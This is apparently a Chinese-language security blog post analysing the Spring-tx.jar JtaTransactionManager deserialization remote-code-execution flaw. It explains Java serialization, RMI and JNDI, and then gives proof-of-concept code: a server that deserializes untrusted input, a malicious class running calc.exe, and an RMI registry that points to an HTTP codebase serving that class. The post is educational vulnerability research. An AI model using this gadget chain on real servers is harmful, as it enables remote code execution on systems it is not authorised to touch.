[Java unserialization] Spring-tx.jar反序列化漏洞分析

Java反序列化的相关知识也学习了一些了，由于这是学习反序列化时的第一篇文章，其中有某些概念也时理解的半知不解，但是后面随着深入学习，一些东西也变得明朗了起来，现在回过头来看有些点可能还是有些问题，打算后续重新整理下这些文章，温故知新；这一系列的文章也全部发表到了MLSRC的公众号上，现在也先发到自己的博客上吧；

0x00 反序列化

之前对Java一直不太熟悉，不怎么接触Java安全，不了解Java中序列化与反序列化的一些机制，导致很多Java相关的RCE都看不懂，只知道拿来就用，想了想还是要深入了解一下比较好。

在PHP中我们可以通过serialize和unserialize来进行序列化相关的操作，到了Java的世界里，就没有这么直白的函数可以用了，相关的两个函数分别是：

序列化: ObjectOutputStream.writeObject()
反序列化: ObjectInputStream.readObject()

我们先来看一下最基本的序列化方式：

package me.lightless.base;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

/**
 * Package: me.lightless.base
 * Author: lightless <root@lightless.me>
 * Date: 2018/3/29
 */
public class Base {

    public static void main(String[] args) throws Exception {
        String hello = "Hello World!";

        // 序列化并写入文件payload.bin
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        objectOutputStream.writeObject(hello);
        objectOutputStream.close();

        // 从文件payload.bin中读取数据并反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
        String value = (String)objectInputStream.readObject();
        objectInputStream.close();

        System.out.println("Read value from file: " + value);
    }
}

通过 ObjectOutputStream 和 ObjectInputStream 就可以完成最基础的序列化操作。如果想要序列化一个 class ，那么会稍微复杂一些，需要自己实现 Serializable 接口，只有实现了这个接口的类才能被序列化，来看一个简单的例子；

package me.lightless.base;

import java.io.*;

/**
 * Package: me.lightless.base
 * Author: lightless <root@lightless.me>
 * Date: 2018/3/29
 */
public class ClassBase {
    public static void main(String[] args) throws Exception {

        VulnObject vulnObject = new VulnObject();
        vulnObject.value = "new_value";

        // 序列化并写入文件payload.bin
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        objectOutputStream.writeObject(vulnObject);
        objectOutputStream.close();

        // 从文件payload.bin中读取数据并反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
        VulnObject vulnObject2 = (VulnObject)objectInputStream.readObject();
        objectInputStream.close();

        System.out.println("value: " + vulnObject2.value);
    }
}


class VulnObject implements Serializable {
    String value;

//    private void readObject(ObjectInputStream objectInputStream) throws Exception {
//        objectInputStream.defaultReadObject();
//        System.out.println("This is new 'readObject' method!");
//    }
}

这个例子中，我们序列化了一个 VulnObject 类的对象，并且成功的反序列化了回来。这里我注释掉了一个重写的 readObject 方法，在编写自己的类的时候，可以通过重写 readObject 方法来实现在反序列化时候进行一些特殊的操作；

更加深层的序列化相关的内容我们先姑且按下不表，后面在分析其他漏洞的时候再另行介绍，知道上面这些点就可以分析 Spring-tx.jar 中的漏洞了。

0x01 RMI AND JNDI

另外在开始分析 Spring-tx.jar 中的反序列化漏洞之前，我们还要简单的了解一下 RMI 和 JNDI ，Spring-tx.jar中的反序列化漏洞正是利用了这两个机制来实现的RCE，这两个机制都是为了分布式而服务的。

• RMI(Remote Method Invocation) ，Java远程方法调用，有些类似RPC。相比之下RMI可以访问远程的对象，RPC则不可以，JNDI应用就可以获取到注册在RMI服务上的远程对象；

• JNDI(Java Naming and Directory Interface) ，Java命名和目录接口，简单说就是提供了一组API，可以让我们通过一种统一的方式，便捷的调用各种命名和目录服务（例如LDAP）；

我们可以通过 RMI 协议来获取远程的对象，例如通过 lookup 方法来获取 rmi://127.0.0.1:1099/EvilObject 上的对象，这个时候程序就会去目标主机上的 RMI 服务尝试获取EvilObject这个对象。 RMI 服务可以通过返回一个 Reference 对象，让其去指定的 codebase 处获取对应类的字节码，而这个 codebase 甚至可以是HTTP协议:)

就如这个例子，如果RMI服务返回了 javax.naming.Reference("ExportObject","ExportObject", factoryLocation) 对象，那么程序就会尝试去 factoryLocation 处获取字节码，并且会自动加载然后执行该类的构造函数；

0x02 Spring-tx漏洞分析

Spring-tx 是一个用于处理事务管理相关的包，根据漏洞描述，可以找到是 org.springframework.transaction.jta.JtaTransactionManager 这个类出现了问题。我们先看一下这个类的 readObject 方法。

可以看到除了调用默认的 readObject 之外，还进行了一些额外的操作，那么漏洞就出现在这些额外的操作中。继续跟进 initUserTransactionAndTransactionManager 这个初始化的方法，可以找到调用了 this.lookupUserTransaction(this.userTransactionName) 。

再继续向下跟进，会发现调用了 this.getJndiTemplate().lookup() 方法，这个就是前文说到的 lookup 方法，可以通过这个方法来传入 rmi:// 协议的参数来执行命令。

漏洞非常的简单，我们来梳理一下调用流程：

readObject ->
initUserTransactionAndTransactionManager ->
lookupUserTransaction ->
lookup

最终 lookup 的参数 userTransactionName 是通过 this.userTransactionName 传入的，这个值我们可以在构建 JtaTransactionManager 类的时候来设置为任意值。

调用链有了，再来梳理一下利用流程：

发送恶意payload ->
Server端接到payload，访问恶意的RMI服务 ->
RMI访问HTTP服务获取poc类，返回给Server端 ->
Server端反序列化拿到的poc类，并且执行构造函数

接下来的事情就是编写PoC了，参考了一下 zerothoughts 在Github上给出的PoC。首先是服务端，开个socket接收数据并且反序列化即可。

// filename: server.java
import java.io.*;
import java.net.*;

public class ExploitableServer {
    public static void main(String[] args) {
        try {
            int port = 9999;
            ServerSocket serverSocket = new ServerSocket(port);
            System.out.println("Server started on port " + serverSocket.getLocalPort());
            while (true) {
                Socket socket = serverSocket.accept();
                System.out.println("Connection received from " + socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object " + object);
                } catch (Exception e) {
                    System.out.println("Exception caught while reading object");
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们先来写一个恶意的POC类，负责执行命令

public class POC {
    public POC() {
        try {
            System.out.println("POC start!");
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

比较简单，不做过多说明了。下面来编写主要的poc代码，首先我们需要在本地开启一个HTTPServer，负责输出POC类的字节码，由 HttpFileHandler 类实现：

HttpServer httpServer = HttpServer.create(new InetSocketAddress(8090), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();

HttpFileHandler 类的代码没有修改，可以参考原PoC；

第二步要开启RMI Registry供Server端来访问，并且与前面编写好的恶意POC类关联起来：

System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("POC", "POC", "http://127.0.0.1:8090/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
// rmi://127.0.0.1:1099/poc233
registry.bind("poc233", referenceWrapper);

接下来就是构造一个JtaTransactionManager类来实现我们的调用链完成反序列化的利用：

String jndiAddress = "rmi://127.0.0.1:1099/poc233";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

最后要做的事情就是把构造好的 JtaTransactionManager 类的对象序列化并发送到Server端即可。

跑起来看下效果

完整的代码这里就不占用篇幅了，感兴趣的同学可以到 GitHub 上自取。

0x03 参考文献

• http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection
• http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce
• https://www.ibm.com/support/knowledgecenter/zh/SSYKE2_8.0.0/com.ibm.java.lnx.80.doc/diag/understanding/orb_xmp_server.html
• https://www.anquanke.com/post/id/87031
• https://paper.seebug.org/312/